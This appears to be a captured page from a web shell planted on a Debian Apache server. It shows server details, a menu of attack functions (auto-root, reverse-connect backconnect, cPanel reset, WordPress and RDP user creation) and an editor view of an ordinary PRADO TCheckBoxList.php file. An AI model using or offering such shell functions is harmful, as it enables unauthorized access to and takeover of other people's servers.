Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 3.139.79.187
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
ifk /
web /
framework /
Web /
UI /
WebControls /
[ HOME SHELL ]
Name
Size
Permission
Action
assets
[ DIR ]
drwxr-xr-x
TAccordion.php
20.81
KB
-rw-r--r--
TBaseDataList.php
5.11
KB
-rw-r--r--
TBaseValidator.php
22.48
KB
-rw-r--r--
TBoundColumn.php
7.67
KB
-rw-r--r--
TBulletedList.php
13.77
KB
-rw-r--r--
TButton.php
10.75
KB
-rw-r--r--
TButtonColumn.php
8.35
KB
-rw-r--r--
TCaptcha.php
15.89
KB
-rw-r--r--
TCaptchaValidator.php
3.99
KB
-rw-r--r--
TCheckBox.php
14.67
KB
-rw-r--r--
TCheckBoxColumn.php
3.74
KB
-rw-r--r--
TCheckBoxList.php
13.88
KB
-rw-r--r--
TClientScript.php
4.36
KB
-rw-r--r--
TColorPicker.php
7.89
KB
-rw-r--r--
TCompareValidator.php
8.06
KB
-rw-r--r--
TConditional.php
4.15
KB
-rw-r--r--
TContent.php
1.56
KB
-rw-r--r--
TContentPlaceHolder.php
1.7
KB
-rw-r--r--
TCustomValidator.php
5.55
KB
-rw-r--r--
TDataBoundControl.php
16.99
KB
-rw-r--r--
TDataGrid.php
60.98
KB
-rw-r--r--
TDataGridColumn.php
17.16
KB
-rw-r--r--
TDataGridItemRenderer.php
715
B
-rw-r--r--
TDataGridPagerStyle.php
6
KB
-rw-r--r--
TDataList.php
51.13
KB
-rw-r--r--
TDataListItemRenderer.php
4.58
KB
-rw-r--r--
TDataRenderer.php
1.11
KB
-rw-r--r--
TDataSourceControl.php
2.39
KB
-rw-r--r--
TDataSourceView.php
3.97
KB
-rw-r--r--
TDataTypeValidator.php
3.92
KB
-rw-r--r--
TDatePicker.php
28.5
KB
-rw-r--r--
TDropDownList.php
4.53
KB
-rw-r--r--
TDropDownListColumn.php
9.92
KB
-rw-r--r--
TEditCommandColumn.php
7.95
KB
-rw-r--r--
TEmailAddressValidator.php
2.79
KB
-rw-r--r--
TExpression.php
1.42
KB
-rw-r--r--
TFileUpload.php
8.11
KB
-rw-r--r--
TFlushOutput.php
2.17
KB
-rw-r--r--
TFont.php
7.76
KB
-rw-r--r--
THead.php
9.05
KB
-rw-r--r--
THeader1.php
738
B
-rw-r--r--
THeader2.php
738
B
-rw-r--r--
THeader3.php
738
B
-rw-r--r--
THeader4.php
737
B
-rw-r--r--
THeader5.php
737
B
-rw-r--r--
THeader6.php
737
B
-rw-r--r--
THiddenField.php
5.62
KB
-rw-r--r--
THtmlArea.php
13.83
KB
-rw-r--r--
THtmlArea4.php
12.29
KB
-rw-r--r--
THtmlElement.php
1.67
KB
-rw-r--r--
THyperLink.php
6.53
KB
-rw-r--r--
THyperLinkColumn.php
7.6
KB
-rw-r--r--
TImage.php
3.9
KB
-rw-r--r--
TImageButton.php
12.71
KB
-rw-r--r--
TImageMap.php
21.65
KB
-rw-r--r--
TInlineFrame.php
7.54
KB
-rw-r--r--
TItemDataRenderer.php
2.28
KB
-rw-r--r--
TJavascriptLogger.php
2.76
KB
-rw-r--r--
TKeyboard.php
5.76
KB
-rw-r--r--
TLabel.php
3.73
KB
-rw-r--r--
TLinkButton.php
10.11
KB
-rw-r--r--
TListBox.php
6.92
KB
-rw-r--r--
TListControl.php
25.02
KB
-rw-r--r--
TListControlValidator.php
5.8
KB
-rw-r--r--
TListItem.php
3.9
KB
-rw-r--r--
TLiteral.php
2.7
KB
-rw-r--r--
TLiteralColumn.php
4.01
KB
-rw-r--r--
TMarkdown.php
2.19
KB
-rw-r--r--
TMultiView.php
10.47
KB
-rw-r--r--
TOutputCache.php
18.47
KB
-rw-r--r--
TPager.php
23.23
KB
-rw-r--r--
TPanel.php
6.27
KB
-rw-r--r--
TPanelStyle.php
7.46
KB
-rw-r--r--
TPlaceHolder.php
663
B
-rw-r--r--
TRadioButton.php
9.58
KB
-rw-r--r--
TRadioButtonList.php
2.46
KB
-rw-r--r--
TRangeValidator.php
10.04
KB
-rw-r--r--
TRatingList.php
8.54
KB
-rw-r--r--
TReCaptcha.php
8.2
KB
-rw-r--r--
TReCaptchaValidator.php
4.4
KB
-rw-r--r--
TRegularExpressionValidator.ph...
4.26
KB
-rw-r--r--
TRepeatInfo.php
14.91
KB
-rw-r--r--
TRepeater.php
29.17
KB
-rw-r--r--
TRepeaterItemRenderer.php
1.36
KB
-rw-r--r--
TRequiredFieldValidator.php
4.63
KB
-rw-r--r--
TSafeHtml.php
2.67
KB
-rw-r--r--
TSlider.php
16.62
KB
-rw-r--r--
TStatements.php
1.45
KB
-rw-r--r--
TStyle.php
21.9
KB
-rw-r--r--
TStyleSheet.php
2.54
KB
-rw-r--r--
TTabPanel.php
20.07
KB
-rw-r--r--
TTable.php
10.15
KB
-rw-r--r--
TTableCell.php
5.58
KB
-rw-r--r--
TTableFooterRow.php
977
B
-rw-r--r--
TTableHeaderCell.php
2.83
KB
-rw-r--r--
TTableHeaderRow.php
977
B
-rw-r--r--
TTableRow.php
5.06
KB
-rw-r--r--
TTemplateColumn.php
7.49
KB
-rw-r--r--
TTextBox.php
18.88
KB
-rw-r--r--
TTextHighlighter.php
5.75
KB
-rw-r--r--
TTextProcessor.php
2.19
KB
-rw-r--r--
TValidationSummary.php
15.16
KB
-rw-r--r--
TWebControl.php
12.36
KB
-rw-r--r--
TWebControlAdapter.php
1.88
KB
-rw-r--r--
TWebControlDecorator.php
10.62
KB
-rw-r--r--
TWizard.php
58.25
KB
-rw-r--r--
TWizardNavigationButtonStyle.p...
3.85
KB
-rw-r--r--
TXmlTransform.php
5.71
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : TCheckBoxList.php
<?php /** * TCheckBoxList class file * * @author Qiang Xue <qiang.xue@gmail.com> * @link http://www.pradosoft.com/ * @copyright Copyright © 2005-2014 PradoSoft * @license http://www.pradosoft.com/license/ * @package System.Web.UI.WebControls */ /** * Includes TListControl class */ Prado::using('System.Web.UI.WebControls.TListControl'); /** * Includes TRepeatInfo class */ Prado::using('System.Web.UI.WebControls.TRepeatInfo'); /** * Includes TCheckBox class */ Prado::using('System.Web.UI.WebControls.TCheckBox'); /** * TCheckBoxList class * * TCheckBoxList displays a list of checkboxes on a Web page. * * The layout of the checkbox list is specified via {@link setRepeatLayout RepeatLayout}, * which can be either 'Table' (default) or 'Flow'. * A table layout uses HTML table cells to organize the checkboxes while * a flow layout uses line breaks to organize the checkboxes. * When the layout is using 'Table', {@link setCellPadding CellPadding} and * {@link setCellSpacing CellSpacing} can be used to adjust the cellpadding and * cellpadding of the table. * * The number of columns used to display the checkboxes is specified via * {@link setRepeatColumns RepeatColumns} property, while the {@link setRepeatDirection RepeatDirection} * governs the order of the items being rendered. * * The alignment of the text besides each checkbox can be specified via {@link setTextAlign TextAlign}. * * @author Qiang Xue <qiang.xue@gmail.com> * @package System.Web.UI.WebControls * @since 3.0 */ class TCheckBoxList extends TListControl implements IRepeatInfoUser, INamingContainer, IPostBackDataHandler, IValidatable { private $_repeatedControl; private $_isEnabled; private $_changedEventRaised=false; private $_dataChanged=false; private $_isValid=true; /** * Constructor. * Remember to call parent implementation if you override this method */ public function __construct() { parent::__construct(); $this->_repeatedControl=$this->createRepeatedControl(); $this->_repeatedControl->setEnableViewState(false); $this->_repeatedControl->setID('c0'); $this->getControls()->add($this->_repeatedControl); } /** * Creates a control used for repetition (used as a template). * @return TControl the control to be repeated */ protected function createRepeatedControl() { return new TCheckBox; } /** * Finds a control by ID. * This method overrides the parent implementation so that it always returns * the checkbox list itself (because the checkbox list does not have child controls.) * @param string control ID * @return TControl control being found */ public function findControl($id, $real=false) { if ($real===true) return parent::findControl($id); return $this; } /** * @return boolean whether this control supports multiple selection. Always true for checkbox list. */ protected function getIsMultiSelect() { return true; } /** * Creates a style object for the control. * This method creates a {@link TTableStyle} to be used by checkbox list. * @return TStyle control style to be used */ protected function createStyle() { return new TTableStyle; } /** * @return TTextAlign the alignment of the text caption, defaults to TTextAlign::Right. */ public function getTextAlign() { return $this->getViewState('TextAlign',TTextAlign::Right); } /** * @param TTextAlign the text alignment of the checkboxes */ public function setTextAlign($value) { $this->setViewState('TextAlign',TPropertyValue::ensureEnum($value,'TTextAlign'),TTextAlign::Right); } /** * @return TRepeatInfo repeat information (primarily used by control developers) */ protected function getRepeatInfo() { if(($repeatInfo=$this->getViewState('RepeatInfo',null))===null) { $repeatInfo=new TRepeatInfo; $this->setViewState('RepeatInfo',$repeatInfo,null); } return $repeatInfo; } /** * @return integer the number of columns that the list should be displayed with. Defaults to 0 meaning not set. */ public function getRepeatColumns() { return $this->getRepeatInfo()->getRepeatColumns(); } /** * @param integer the number of columns that the list should be displayed with. */ public function setRepeatColumns($value) { $this->getRepeatInfo()->setRepeatColumns($value); } /** * @return string the direction of traversing the list, defaults to 'Vertical' */ public function getRepeatDirection() { return $this->getRepeatInfo()->getRepeatDirection(); } /** * @param string the direction (Vertical, Horizontal) of traversing the list */ public function setRepeatDirection($value) { $this->getRepeatInfo()->setRepeatDirection($value); } /** * @return string how the list should be displayed, using table or using line breaks. Defaults to 'Table'. */ public function getRepeatLayout() { return $this->getRepeatInfo()->getRepeatLayout(); } /** * @param string how the list should be displayed, using table or using line breaks (Table, Flow) */ public function setRepeatLayout($value) { $this->getRepeatInfo()->setRepeatLayout($value); } /** * @return integer the cellspacing for the table keeping the checkbox list. Defaults to -1, meaning not set. */ public function getCellSpacing() { if($this->getHasStyle()) return $this->getStyle()->getCellSpacing(); else return -1; } /** * Sets the cellspacing for the table keeping the checkbox list. * @param integer the cellspacing for the table keeping the checkbox list. */ public function setCellSpacing($value) { $this->getStyle()->setCellSpacing($value); } /** * @return integer the cellpadding for the table keeping the checkbox list. Defaults to -1, meaning not set. */ public function getCellPadding() { if($this->getHasStyle()) return $this->getStyle()->getCellPadding(); else return -1; } /** * Sets the cellpadding for the table keeping the checkbox list. * @param integer the cellpadding for the table keeping the checkbox list. */ public function setCellPadding($value) { $this->getStyle()->setCellPadding($value); } /** * Returns a value indicating whether this control contains header item. * This method is required by {@link IRepeatInfoUser} interface. * @return boolean always false. */ public function getHasHeader() { return false; } /** * Returns a value indicating whether this control contains footer item. * This method is required by {@link IRepeatInfoUser} interface. * @return boolean always false. */ public function getHasFooter() { return false; } /** * Returns a value indicating whether this control contains separator items. * This method is required by {@link IRepeatInfoUser} interface. * @return boolean always false. */ public function getHasSeparators() { return false; } /** * @param boolean whether the control is to be enabled. */ public function setEnabled($value) { parent::setEnabled($value); $value = !TPropertyValue::ensureBoolean($value); // if this is an active control, // and it's a callback, // and we can update clientside, // then update the 'disabled' attribute of the items. if(($this instanceof IActiveControl) && $this->getPage()->getIsCallBack() && $this->getActiveControl()->canUpdateClientSide()) { $items = $this->getItems(); $cs = $this->getPage()->getCallbackClient(); $baseClientID = $this->getClientID().'_c'; foreach($items as $index=>$item) { $cs->setAttribute($baseClientID.$index, 'disabled', $value); } } } /** * Returns a style used for rendering items. * This method is required by {@link IRepeatInfoUser} interface. * @param string item type (Header,Footer,Item,AlternatingItem,SelectedItem,EditItem,Separator,Pager) * @param integer index of the item being rendered * @return null */ public function generateItemStyle($itemType,$index) { return null; } /** * Renders an item in the list. * This method is required by {@link IRepeatInfoUser} interface. * @param THtmlWriter writer for rendering purpose * @param TRepeatInfo repeat information * @param string item type (Header,Footer,Item,AlternatingItem,SelectedItem,EditItem,Separator,Pager) * @param integer zero-based index of the item in the item list */ public function renderItem($writer,$repeatInfo,$itemType,$index) { $repeatedControl=$this->_repeatedControl; $item=$this->getItems()->itemAt($index); if($item->getHasAttributes()) $repeatedControl->getAttributes()->copyFrom($item->getAttributes()); else if($repeatedControl->getHasAttributes()) $repeatedControl->getAttributes()->clear(); $repeatedControl->setID("c$index"); $repeatedControl->setText($item->getText()); $repeatedControl->setChecked($item->getSelected()); $repeatedControl->setAttribute('value',$item->getValue()); $repeatedControl->setEnabled($this->_isEnabled && $item->getEnabled()); $repeatedControl->setEnableClientScript(false); $repeatedControl->renderControl($writer); } /** * Loads user input data. * This method is primarly used by framework developers. * @param string the key that can be used to retrieve data from the input data collection * @param array the input data collection * @return boolean whether the data of the control has been changed */ public function loadPostData($key,$values) { if($this->getEnabled(true)) { $index=(int)substr($key,strlen($this->getUniqueID())+2); $this->ensureDataBound(); if($index>=0 && $index<$this->getItemCount()) { $item=$this->getItems()->itemAt($index); if($item->getEnabled()) { $checked=isset($values[$key]); if($item->getSelected()!==$checked) { $item->setSelected($checked); if(!$this->_changedEventRaised) { $this->_changedEventRaised=true; return $this->_dataChanged=true; } } } } } return false; } /** * Raises postdata changed event. * This method is required by {@link IPostBackDataHandler} interface. * It is invoked by the framework when {@link getSelectedIndices SelectedIndices} property * is changed on postback. * This method is primarly used by framework developers. */ public function raisePostDataChangedEvent() { if($this->getAutoPostBack() && $this->getCausesValidation()) $this->getPage()->validate($this->getValidationGroup()); $this->onSelectedIndexChanged(null); } /** * Registers for post data on postback. * This method overrides the parent implementation. * @param mixed event parameter */ public function onPreRender($param) { parent::onPreRender($param); $this->_repeatedControl->setAutoPostBack($this->getAutoPostBack()); $this->_repeatedControl->setCausesValidation($this->getCausesValidation()); $this->_repeatedControl->setValidationGroup($this->getValidationGroup()); $page=$this->getPage(); $n=$this->getItemCount(); for($i=0;$i<$n;++$i) { $this->_repeatedControl->setID("c$i"); $page->registerRequiresPostData($this->_repeatedControl); } } /** * Wether the list should be rendered inside a span or not * *@return boolean true if we need a span */ protected function getSpanNeeded () { return $this->getRepeatLayout()===TRepeatLayout::Raw; } /** * Renders the checkbox list control. * This method overrides the parent implementation. * @param THtmlWriter writer for rendering purpose. */ public function render($writer) { if($this->getItemCount()>0) { if ($needSpan=$this->getSpanNeeded()) { $writer->addAttribute('id', $this->getClientId()); $writer->renderBeginTag('span'); } $this->_isEnabled=$this->getEnabled(true); $repeatInfo=$this->getRepeatInfo(); $accessKey=$this->getAccessKey(); $tabIndex=$this->getTabIndex(); $this->_repeatedControl->setTextAlign($this->getTextAlign()); $this->_repeatedControl->setAccessKey($accessKey); $this->_repeatedControl->setTabIndex($tabIndex); $this->setAccessKey(''); $this->setTabIndex(0); $this->addAttributesToRender($writer); $repeatInfo->renderRepeater($writer,$this); $this->setAccessKey($accessKey); $this->setTabIndex($tabIndex); if ($needSpan) $writer->renderEndTag(); } //checkbox skipped the client control script in addAttributesToRender if($this->getEnabled(true) && $this->getEnableClientScript() && $this->getAutoPostBack() && $this->getPage()->getClientSupportsJavaScript()) { $this->renderClientControlScript($writer); } } /** * Returns a value indicating whether postback has caused the control data change. * This method is required by the IPostBackDataHandler interface. * @return boolean whether postback has caused the control data change. False if the page is not in postback mode. */ public function getDataChanged() { return $this->_dataChanged; } /** * Returns the value to be validated. * This methid is required by IValidatable interface. * @return mixed the value of the property to be validated. */ public function getValidationPropertyValue() { return $this->getSelectedValue(); } /** * Returns true if this control validated successfully. * Defaults to true. * @return bool wether this control validated successfully. */ public function getIsValid() { return $this->_isValid; } /** * @param bool wether this control is valid. */ public function setIsValid($value) { $this->_isValid=TPropertyValue::ensureBoolean($value); } /** * Gets the name of the javascript class responsible for performing postback for this control. * This method overrides the parent implementation. * @return string the javascript class name */ protected function getClientClassName() { return 'Prado.WebUI.TCheckBoxList'; } /** * Gets the post back options for this checkbox. * @return array */ protected function getPostBackOptions() { $options['ListID'] = $this->getClientID(); $options['ValidationGroup'] = $this->getValidationGroup(); $options['CausesValidation'] = $this->getCausesValidation(); $options['ListName'] = $this->getUniqueID(); $options['ItemCount'] = $this->getItemCount(); return $options; } }
Close